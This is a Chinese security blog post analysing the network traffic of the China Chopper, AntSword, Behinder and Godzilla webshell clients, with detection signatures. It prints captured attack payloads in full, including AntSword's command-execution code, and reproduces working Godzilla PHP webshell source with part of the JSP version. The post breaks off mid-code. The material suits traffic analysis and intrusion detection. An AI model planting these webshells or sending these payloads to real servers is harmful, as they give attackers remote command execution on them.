webshell流量分析

admin 2023年6月26日12:32:27评论51 views字数 24648阅读82分9秒阅读模式

常用的WebShell客户端

  1. 1. 中国菜刀(使用量最大,适用范围最广的WebShell客户端)

  2. 2. 蚁剑(一种常用的WebShell客户端)

  3. 3. 冰蝎(流量加密客户端)

  4. 4. 哥斯拉

  5. 5. Weevely(kali中的中国菜刀)

C刀

webshell流量分析

PHP类WebShell链接流量

POST /1.php HTTP/1.1
User-Agent: Java/1.8.0_181
Host: 192.168.232.130
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive
Content-type: application/x-www-form-urlencoded
Content-Length: 735

nima=@eval.(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=Yzpcd3d3cm9vdFwxOTIuMTY4LjIzMi4xMzA%3D

# 进行URL解码后
@eval.(base64_decode($_POST[action]));&action=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=Yzpcd3d3cm9vdFwxOTIuMTY4LjIzMi4xMzA=

# 再次进行Base64_encode

action=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=base64_decode($_POST["z1"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D."/".$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R="t".$T."t".@filesize($P)."t".$E."
"
;if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};echo("|<-");die();

z1=c:wwwroot192.168.232.130
webshell流量分析

其中特征点有如下三部分

  1. 1. "eval",eval函数用于执行传递的攻击payload,这是必不可少的;

  2. 2. (base64_decode($_POST[action])),(base64_decode($_POST[action]))将攻击payload进行Base64解码,因为菜刀默认是将攻击载荷使用Base64编码,以避免被检测;

  3. 3. &z1=Yzpcd3d3cm9vdFwxOTIuMTY4LjIzMi4xMzA=,该部分是传递攻击payload,此参数z1对应$_POST[z1]接收到的数据,该参数值是使用Base64编码的,所以可以利用base64解码可以看到攻击明文

注:

  1. 1. 有少数时候eval方法会被assert方法替代

  2. 2. $_POST也会被_GET、$_REQUEST替代

  3. 3. z1是菜刀默认的参数,这个地方也有可能被修改为其他参数名。

中国蚁剑(AntSword)

POST /wp-content/themes/twentytwenty/header.php HTTP/1.1
Host: 192.168.232.135:80
Accept-Encoding: gzip, deflate
User-Agent: antSword/v2.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 4124
Connection: close

a=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%222f95956%22%3Becho%20%40asenc(%24output)%3Becho%20%22aad7a6fedd4%22%3B%7Dob_start()%3Btry%7B%24p%3Dbase64_decode(substr(%24_POST%5B%22oba9958b61aab5%22%5D%2C2))%3B%24s%3Dbase64_decode(substr(%24_POST%5B%22x958c36f4a4706%22%5D%2C2))%3B%24envstr%3D%40base64_decode(substr(%24_POST%5B%22m33f4b7bc545c7%22%5D%2C2))%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24c%3Dsubstr(%24d%2C0%2C1)%3D%3D%22%2F%22%3F%22-c%20%5C%22%7B%24s%7D%5C%22%22%3A%22%2Fc%20%5C%22%7B%24s%7D%5C%22%22%3Bif(substr(%24d%2C0%2C1)%3D%3D%22%2F%22)%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3A%2Fusr%2Flocal%2Fsbin%3A%2Fusr%2Flocal%2Fbin%3A%2Fusr%2Fsbin%3A%2Fusr%2Fbin%3A%2Fsbin%3A%2Fbin%22)%3B%7Delse%7B%40putenv(%22PATH%3D%22.getenv(%22PATH%22).%22%3BC%3A%2FWindows%2Fsystem32%3BC%3A%2FWindows%2FSysWOW64%3BC%3A%2FWindows%3BC%3A%2FWindows%2FSystem32%2FWindowsPowerShell%2Fv1.0%2F%3B%22)%3B%7Dif(!empty(%24envstr))%7B%24envarr%3Dexplode(%22%7C%7C%7Casline%7C%7C%7C%22%2C%20%24envstr)%3Bforeach(%24envarr%20as%20%24v)%20%7Bif%20(!empty(%24v))%20%7B%40putenv(str_replace(%22%7C%7C%7Caskey%7C%7C%7C%22%2C%20%22%3D%22%2C%20%24v))%3B%7D%7D%7D%24r%3D%22%7B%24p%7D%20%7B%24c%7D%22%3Bfunction%20fe(%24f)%7B%24d%3Dexplode(%22%2C%22%2C%40ini_get(%22disable_functions%22))%3Bif(empty(%24d))%7B%24d%3Darray()%3B%7Delse%7B%24d%3Darray_map('trim'%2Carray_map('strtolower'%2C%24d))%3B%7Dreturn(function_exists(%24f)%26%26is_callable(%24f)%26%26!in_array(%24f%2C%24d))%3B%7D%3Bfunction%20runshellshock(%24d%2C%20%24c)%20%7Bif%20(substr(%24d%2C%200%2C%201)%20%3D%3D%20%22%2F%22%20%26%26%20fe('putenv')%20%26%26%20(fe('error_log')%20%7C%7C%20fe('mail')))%20%7Bif%20(strstr(readlink(%22%2Fbin%2Fsh%22)%2C%20%22bash%22)%20!%3D%20FALSE)%20%7B%24tmp%20%3D%20tempnam(sys_get_temp_dir()%2C%20'as')%3Bputenv(%22PHP_LOL%3D()%20%7B%20x%3B%20%7D%3B%20%24c%20%3E%24tmp%202%3E%261%22)%3Bif%20(fe('error_log'))%20%7Berror_log(%22a%22%2C%201)%3B%7D%20else%20%7Bmail(%22a%40127.0.0.1%22%2C%20%22%22%2C%20%22%22%2C%20%22-bv%22)%3B%7D%7D%20else%20%7Breturn%20False%3B%7D%24output%20%3D%20%40file_get_contents(%24tmp)%3B%40unlink(%24tmp)%3Bif%20(%24output%20!%3D%20%22%22)%20%7Bprint(%24output)%3Breturn%20True%3B%7D%7Dreturn%20False%3B%7D%3Bfunction%20runcmd(%24c)%7B%24ret%3D0%3B%24d%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(fe('system'))%7B%40system(%24c%2C%24ret)%3B%7Delseif(fe('passthru'))%7B%40passthru(%24c%2C%24ret)%3B%7Delseif(fe('shell_exec'))%7Bprint(%40shell_exec(%24c))%3B%7Delseif(fe('exec'))%7B%40exec(%24c%2C%24o%2C%24ret)%3Bprint(join(%22%0A%22%2C%24o))%3B%7Delseif(fe('popen'))%7B%24fp%3D%40popen(%24c%2C'r')%3Bwhile(!%40feof(%24fp))%7Bprint(%40fgets(%24fp%2C2048))%3B%7D%40pclose(%24fp)%3B%7Delseif(fe('proc_open'))%7B%24p%20%3D%20%40proc_open(%24c%2C%20array(1%20%3D%3E%20array('pipe'%2C%20'w')%2C%202%20%3D%3E%20array('pipe'%2C%20'w'))%2C%20%24io)%3Bwhile(!%40feof(%24io%5B1%5D))%7Bprint(%40fgets(%24io%5B1%5D%2C2048))%3B%7Dwhile(!%40feof(%24io%5B2%5D))%7Bprint(%40fgets(%24io%5B2%5D%2C2048))%3B%7D%40fclose(%24io%5B1%5D)%3B%40fclose(%24io%5B2%5D)%3B%40proc_close(%24p)%3B%7Delseif(fe('antsystem'))%7B%40antsystem(%24c)%3B%7Delseif(runshellshock(%24d%2C%20%24c))%20%7Breturn%20%24ret%3B%7Delseif(substr(%24d%2C0%2C1)!%3D%22%2F%22%20%26%26%20%40class_exists(%22COM%22))%7B%24w%3Dnew%20COM('WScript.shell')%3B%24e%3D%24w-%3Eexec(%24c)%3B%24so%3D%24e-%3EStdOut()%3B%24ret.%3D%24so-%3EReadAll()%3B%24se%3D%24e-%3EStdErr()%3B%24ret.%3D%24se-%3EReadAll()%3Bprint(%24ret)%3B%7Delse%7B%24ret%20%3D%20127%3B%7Dreturn%20%24ret%3B%7D%3B%24ret%3D%40runcmd(%24r.%22%202%3E%261%22)%3Bprint%20(%24ret!%3D0)%3F%22ret%3D%7B%24ret%7D%22%3A%22%22%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B&m33f4b7bc545c7=uS&oba9958b61aab5=3qY21k&x958c36f4a4706=CWY2QgL2QgImM6XFx3d3dyb290XFwxOTIuMTY4LjIzMi4xMzVcXHdwLWNvbnRlbnRcXHRoZW1lc1xcdHdlbnR5dHdlbnR5IiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0%3D
webshell流量分析

对上方进行URL解码后显示如下

a=@ini_set("display_errors""0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "2f95956";echo @asenc($output);echo "aad7a6fedd4";}ob_start();try{$p=base64_decode(substr($_POST["oba9958b61aab5"],2));$s=base64_decode(substr($_POST["x958c36f4a4706"],2));$envstr=@base64_decode(substr($_POST["m33f4b7bc545c7"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c "{$s}"":"/c "{$s}"";if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||"$envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||""="$v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d$c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("[email protected]""""""-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("
"
,$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe''w'), 2 => array('pipe''w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d$c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&m33f4b7bc545c7=uS&oba9958b61aab5=3qY21k&x958c36f4a4706=CWY2QgL2QgImM6XFx3d3dyb290XFwxOTIuMTY4LjIzMi4xMzVcXHdwLWNvbnRlbnRcXHRoZW1lc1xcdHdlbnR5dHdlbnR5IiZ3aG9hbWkmZWNobyBbU10mY2QmZWNobyBbRV0=

通过上方可分析出蚁剑通过POST接收了三个参数

  1. 1. oba9958b61aab5

  2. 2. x958c36f4a4706

  3. 3. m33f4b7bc545c7

找到这三个的值后,将前面两个字符删除,以为上方代码中有substr函数

cd /d "c:\wwwroot\192.168.232.135\wp-content\themes\twentytwenty"&whoami&echo [S]&cd&echo [E]
可以发现我cd到了一个目录后执行了whoami命令
webshell流量分析

蚁剑绕过特征流量 由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显的特征,即为参数名大多以“_0x......=”这种形式(下划线可替换为其他) 所以,以_0x开头的参数名,后面为加密数据的数据包也可识别为蚁剑的流量特征

冰蝎

冰蝎 V2

webshell流量分析
  1. 1. 当冰蝎第一次访问服务器webshell时,以GET方式提交随机数字,因此服务器将会生成16位的随机字符串,写入session后通过print函数将密钥返回客户端

  2. 2. 冰蝎第二次访问服务器时以相同方式更新密钥

  3. 3. 经过一次密钥产生与一次密钥更新后,双方开始以对称密钥进行加密通信,首先是冰蝎向服务器发送加密数据,而解密函数在webshell中

    webshell流量分析
  4. 4. 以下是实际冰蝎的攻击Payload

webshell流量分析
webshell流量分析

jspShell

来源:黑伞安全 解密代码如下:

#coding:utf-8
import base64
#注:python3 安装 Crypto 是 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pycryptodome
from Crypto.Cipher import AES  
import binascii
import json   
#解密
def aes_decode(data, key):
    try:
        aes = AES.new(str.encode(key), AES.MODE_ECB)  # 初始化加密器
        decrypted_text = aes.decrypt(data)  # 解密
        decrypted_text = decrypted_text[:-(decrypted_text[-1])]  # 去除多余补位
    except Exception as e:
        print(e)
    return decrypted_text

if __name__ == '__main__':
    key = 'bff6f68a478bdab2'  # 密钥长度必须为16、24或32位,分别对应AES-128、AES-192和AES-256
    data = """jsp请求的流量"""
    data = base64.b64decode(data)
    a = aes_decode(data,key)
    open('1.class''wb').write(a)
    print(a)

对上方冰蝎V2 jsp请求流量解密后自动保存为class文件,即可使用jadx进行反编译得到原来的Class

webshell流量分析
package net.rebeyond.behinder.payload.java;

import java.io.File;
import java.util.HashMap;
import java.util.Map;
import java.util.Properties;
import java.util.Set;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.ServletOutputStream;
import javax.servlet.jsp.PageContext;

/* loaded from: 1.class */
public class BasicInfo {
    public boolean equals(Object obj) {
        PageContext page = (PageContext) obj;
        // 设置响应的编码
        page.getResponse().setCharacterEncoding("UTF-8");
        try {
            StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
            Map<String, String> env = System.getenv();
            for (String name : env.keySet()) {
                basicInfo.append(String.valueOf(name) + "=" + env.get(name) + "<br/>");
            }
            basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");
            // 获取系统属性
            Properties props = System.getProperties();
            Set<Map.Entry<Object, Object>> entrySet = props.entrySet();
            for (Map.Entry<Object, Object> entry : entrySet) {
                // 添加到Entry里面
                basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
            }
            // 返回文件的绝对路径,如果构造的时候是全路径就直接返回全路径,如果构造时是相对路径,就返回当前目录的路径 + 构造 File 对象时的路径
            String currentPath = new File("").getAbsolutePath();
            String driveList = "";
            // File.listRoots():返回所有可用文件 System root 的根目录
            File[] roots = File.listRoots();
            for (File f : roots) {
                driveList = String.valueOf(driveList) + f.getPath() + ";";
            }
            // 获取系统版本
            String osInfo = String.valueOf(System.getProperty("os.name")) + System.getProperty("os.version") + System.getProperty("os.arch");
            // 创建Entity
            Map<String, String> entity = new HashMap<>();
            // 将基本信息转换为字符串
            entity.put("basicInfo", basicInfo.toString());
               // 当前路径
            entity.put("currentPath", currentPath);
            // 盘符
            entity.put("driveList", driveList);
            // 系统基本信息
            entity.put("osInfo", osInfo);
            // 将上面构造好的entity转换为json对象
            String result = buildJson(entity, true);
            // 将session中获取的key转换为字符串
            String key = page.getSession().getAttribute("u").toString();
            // 拿到页面响应并构造输出
            ServletOutputStream so = page.getResponse().getOutputStream();
            // 获取构造好的json对象的字节流,并加密,Key为session中的key
            so.write(Encrypt(result.getBytes(), key));
            // 刷新
            so.flush();
            // 关闭so对象
            so.close();
            // 清除页面输出
            page.getOut().clear();
            return true;
        } catch (Exception e) {
            // 输出异常错误
            e.printStackTrace();
            return true;
        }
    }
    // 加密函数
    public static byte[] Encrypt(byte[] bs, String key) throws Exception {
        // getBytes()方法将 String编码为字节序列并返回一个字节数组. 其中 charsetName是将String 编码为字节数组的特定字符集
        byte[] raw = key.getBytes("utf-8");
        // 此类以独立于提供者的方式指定密钥. 它可用于从字节数组构造SecretKey,而无需通过(基于提供程序的) SecretKeyFactory.此类仅对可以表示为字节数组且没有与之关联的关键参数的原始密钥有用,例如DES或Triple DES密钥
        SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
        // 参数按"AES/无向量模式/填充模式
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        /*  init(int opmode, Key key, AlgorithmParameterSpec params)
            1. opmode:Cipher.ENCRYPT_MODE(加密模式)和Cipher.DECRYPT_MODE(解密模式)
            2. key:密匙,使用传入的盐构造出一个密匙,可以使用SecretKeySpec、KeyGenerator和KeyPairGenerator创建密匙,其中 
                SecretKeySpec和KeyGenerator支持AES,DES,DESede三种加密算法创建密匙
                KeyPairGenerator支持RSA加密算法创建密匙
            3. params:使用CBC模式时必须传入该参数,该项目使用IvParameterSpec创建iv对象
        */

        cipher.init(1, skeySpec);
        /*
        byte[] b = cipher.doFinal(content);
        返回结果为byte数组,如果直接使用 new String(b) 封装成字符串,则会出现乱码
        */

        byte[] encrypted = cipher.doFinal(bs);
        return encrypted;
    }

    private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        String version = System.getProperty("java.version");
        sb.append("{");
        for (String key : entity.keySet()) {
            sb.append(""" + key + "":"");
            String value = entity.get(key).toString();
            if (encode) {
                if (version.compareTo("1.9") >= 0) {
                    getClass();
                    Class Base64 = Class.forName("java.util.Base64");
                    Object Encoder = Base64.getMethod("getEncoder"null).invoke(Base64, null);
                    // 反射
                    value = (String) Encoder.getClass().getMethod("encodeToString"byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
                } else {
                    getClass();
                    Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance();
                    value = ((String) Encoder2.getClass().getMethod("encode"byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("n""").replace("r""");
                }
            }
            sb.append(value);
            sb.append("",");
        }
        sb.setLength(sb.length() - 1);
        sb.append("}");
        return sb.toString();
    }
}

可以看到上方主要是用来获取系统的相关信息,由于运行环境不同,得到的内容也是不同的

webshell流量分析
webshell流量分析

冰蝎 V3

  1. 1. 3.0 相比 2.0 少了动态密钥的获取的请求,aes 密钥变为 md5("pass")[0:16]意思为连接密码 32 位 md5 的前 16 位.全程不再交互密钥生成,一共就俩次请求,第一次请求为判断是否可以建立连接,少了俩次 get 获取冰蝎动态密钥的行为,第二次发送 phpinfo 等代码执行,获取网站的信息

    webshell流量分析

    流量如下:

3Mn1yNMtoZViV5wotQHPJm7cRWHP6PMjLILVEpbUrN5WygKtUlR1wc6m8iE0QldYndLR6CH9DkVGDfNGbcbZArXlTbtxbcpm6CDLz8JmasJMTHPfs5LJYbsmE1SdHnzX/L/c5WCtBWZCPst6iR922OJMWWJz3MYiXa8NWiM+q/gW4mM0vo4Vp3GtqL3zAtg4Ny+yZsg3XYKcWEEBjG1IiIJEK9wsdtLWqWJ6sAGqBWpMj1edM3Jy3JBodKl2ugrI4u7BBBH4LCTR6i5kqb8FQAf8jO4datclORtvUbGYKS+rAB/AhhELUgQAVFBnnx83Fv9sBBH8UPDPWqKFz6Uv5S0O1ehX5YLuzWFfWtV/0Y3APZBlXbLl5DREROyUlYsFmcbiOtHaa5rThPRn5IgN79Hg+gHwU664YKpkoK9qVPypL+CZGtFSlZAD4AXYQEqjjCvpO61SfneYWVV7K95+gvbTPqh++QvKaOlB1ecM+jPH6AZO6Kl/QTeMMfM7iHTkL2Kp1zcz/zJJpRDvy6wP19/I7OMBUdwun93vNUdczFtVcg505ldo/qRwPmAYXyhsAGsCgayJBAyrNDwNthsjiwA8qft4X2+PCYpEERUCsuYTG0jhpyAWaOLH95gNfmC1J0qA/KwCjZf18nRyQDOAjptyd4GuJk1tPvHhbKR3fIyHNQHMtw98rGMCUXtE942mLJD6LDEuzseurjtP+wwfWmEfSDFukpa0Mi66v0zBf0CpippwJh2a0QDkfYTjMIzx9OwVwaOgBGNNRYePuaNmV47Lu8CzScxQSMPE8yP7xeMofwoSx7asaGlcox/eR/lLC6Ks3tO1V8PAXFYZMS90xZ0e02WX4/7zZiNPVAyBS0cf8BXg0I9aa7miC1YAd8WgEIrDqeTOx1R4sypfp9+ShTBP9rnQYgQL2aiCOOhU+munVi+qbVLsOx2B1NijeybeI6asy2HX56Ce6uVGFN8c+dhQjn9ZSoqND+MCW+kIafb71NvjUifG2LpZETLx9kFuxgPvfECjmuLv2vKtAzcPBQddfD6NMyWm/FnaVR+cAotskLvv9cNn329NxRbVlTbtlzOu5uAy20fXeR9OpmNW5MZHcDODctKee80rFQE7X7WyobtfdtozSjer5Nco0qTlwbJiuWI82Ih/VDT0Tmg8vWMRMPFXyyOBQLuNuMQpS7TEOVgTx572n9Z3YAFtks9ssmABtmevLQIBoGC9FmDqCTjWFoIpJI3MKYMrDAlhW3NvDG09BUzh2v1ouBm6WgiG2lsfGkpnnWv9jhVW1O7901m+1INddkoOfqcyGTrlM0/9hjg79xQxctTWs2TdnNNMMB/G14aQ752DgHO1OajiHCJAh+EXcxEkh9WgbU4qtAnSo8gna84BOXP5IJqsV/FI5BAlIzZgO0SRep9C1XkPOqj15n9D8FSQzf7xssWhX5XeSqdvQSqnrhydDuENt+5rycHg61bjgHT/XaKS8feisJ2IsyHqr0pTji8XCAZf1nXr5d+VRaVzauwDUu0+u0AQ1zDw6Mb22g05XjTyyr4ZO1QbbrF6dOKNTh7d0epaz4I9nUV+etZK3VIAJV1s+InNfLDH5fJEyVhzTTjqw3mND/qCqiD25EIkqiSG8csfIibn0XWoybG87Wjalz8w+3jX9n2z0GYj7yA5MzCD0YIEje8X5uhzH2ZBMB6077EqJLt2kqpu3T7K7A+SYj43gUUVYOMWMeN7V5eMKOJnbrTUgrXGguaTfySfOcScZ9twKsephZSCN3Z8gmcIzIQ1IuH8sdfy96d8ols5+UWbisiQvCvTqhibeBZpE9VMIMKpvTVtvEtDkU8PGnzEu0ZNKT/3+Lty7RkgKR00VOByLsYuztsncAyqp0Tp2tRkjJUbr9jb2JURSa3wO2sDMbxghCI4liLPBfsiRTvXoW5ajgSIvV1f1JcX1DwVWsT5HPrTDpJHhwMG80U2ft9t4e/L0nw+TsYlZuiA1i3gswKHpGEz3nelHirBKWSQyxlASjDwaQ6r4dkQbcfEkyol0BMR7nF4Oj07zMUaoyH+BlgY2uU3p6xLP1znbyDbzSAAI9hbx6gOxbl9bwat0T4Uo+WZ2eGQUQCD82fyurjI9U8cUdl7aeDDJbUzrDI/ldmKC9OUWPCUQklSTWCZVMs9z3PIx5PNvoQYwC8SB39xFxgEviQvVy40MV8T5AR+/wLvBproEr4=
webshell流量分析

解密后:

将以上内容进行解码,得到以下内容,发现执行了phpinfo()

webshell流量分析
  1. 1. 找到对应的shell3.php将密钥取出来就可以对响应的流量进行aes解密

冰蝎 V4

  1. 1. 客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端;

  2. 2. 服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令;

  3. 3. 执行结果通过AES加密后返回给攻击者。

webshell流量分析
webshell流量分析
  1. 1. 常见特征

  2. 2. 流量特征

$post=Decrypt(file_get_contents("php://input"));
eval($post);
  1. 1. 检测思路 content字段中,将eval($post)作为流量特征纳入

  2. 2. 冰蝎通讯默认使用长连接,避免了频繁的握手造成的资源开销。默认情况下,请求头和响应头里会带有 Connection.Connection: Keep-Alive

  3. 3. 找到webshell后可以相应的找到解密函数,以及加密函数

哥斯拉

PHP_XOR_BASE64加密shell分析

哥斯拉的Shell配置包括基本配置请求配置。其中基本配置主要设置shell地址、密码、密钥、加密器等信息

webshell流量分析

这里要注意密码密钥的不同: 密码:和蚁剑、菜刀一样,密码就是POST请求中的参数名称。例如,在本例中密码为pass,那么哥斯拉提交的每个请求都是pass=xxxxxxxx这种形式 密钥:用于对请求数据进行加密,不过加密过程中并非直接使用密钥明文,而是计算密钥的md5值,然后取其前16位用于加密过程 哥斯拉shell的请求配置主要用于自定义HTTP请求头,以及在最终的请求数据前后额外再追加一些扰乱数据,进一步降低流量的特征

Shell服务端代码

<?php
// 启动一个session
@session_start();
@set_time_limit(0);
@error_reporting(0);
// 加密(解密)函数
// 流程: 将加密数据与密钥按位异或,即可加密(解密)得到加密数据(原始数据)
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
// Shell的密码,即POST请求的参数名
$pass='pass';
$payloadName='payload';
// 加/解密的密钥,等于Shell密钥的md5值的前16位
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    // 先解密请求数据
    $data=encode(base64_decode($_POST[$pass]),$key);
    // 存在名为payload的session,则从session中提取攻击载荷,然后解密请求数据作为操作命令并执行
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    // 如果不存在,则将请求数据解密得到攻击载荷,存入session中
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

shell流量加密过程分析

这里从Shell Setting对话框中的测试连接操作开始分析。在Shell Setting对话框中,设置代理为Burp,然后点击测试连接按钮,可以看到一共会产生3个POST数据包,POST请求报文中参数名都是pass(即shell的连接密码),参数值都是加密数据。

webshell流量分析

第一次请求: 第1个请求会发送大量数据,该请求不含有任何Cookie信息,服务器响应报文不含任何数据,但是会设置PHPSESSID,后续请求都会自动带上该Cookie。

webshell流量分析

第二次请求: 可以看到,第2个请求中已经自动带上了第1个请求中服务器响应返回的Cookie值,并且第2个请求中只有少量的数据

webshell流量分析

第3个请求与第2个请求完全一致

哥斯拉解密PHP脚本:https://github.com/think3t/godzilla_decoder

JSP_AES_BASE64加密分析

<%!
    // 定义了一个类似于预共享密钥
    String xc = "3c6e0b8a9c15224a";
// 定义了一个密码
String pass = "pass";
// 将密钥和密码拼接起来后进行md5加密
// 定义了一个class类并且继承动态类加载
class X extends ClassLoader {
    public X(ClassLoader z) {
        super(z);
    }
    public Class Q(byte[] cb) {
        return super.defineClass(cb, 0, cb.length);
    }
}
public byte[] x(byte[] s, boolean m) {
    try {
        // 进行AES加密
        javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
        c.init(m ? 1 : 2new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
        return c.doFinal(s);
    } catch (Exception e) {
        return null;
    }
}
// 进行MD5加密
public static String md5(String s) {
    String ret = null;
try {
    java.security.MessageDigest m;
    m = java.security.MessageDigest.getInstance("MD5");
    m.update(s.getBytes(), 0, s.length());
    ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();
catch (Exception e) {}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
    Class base64;
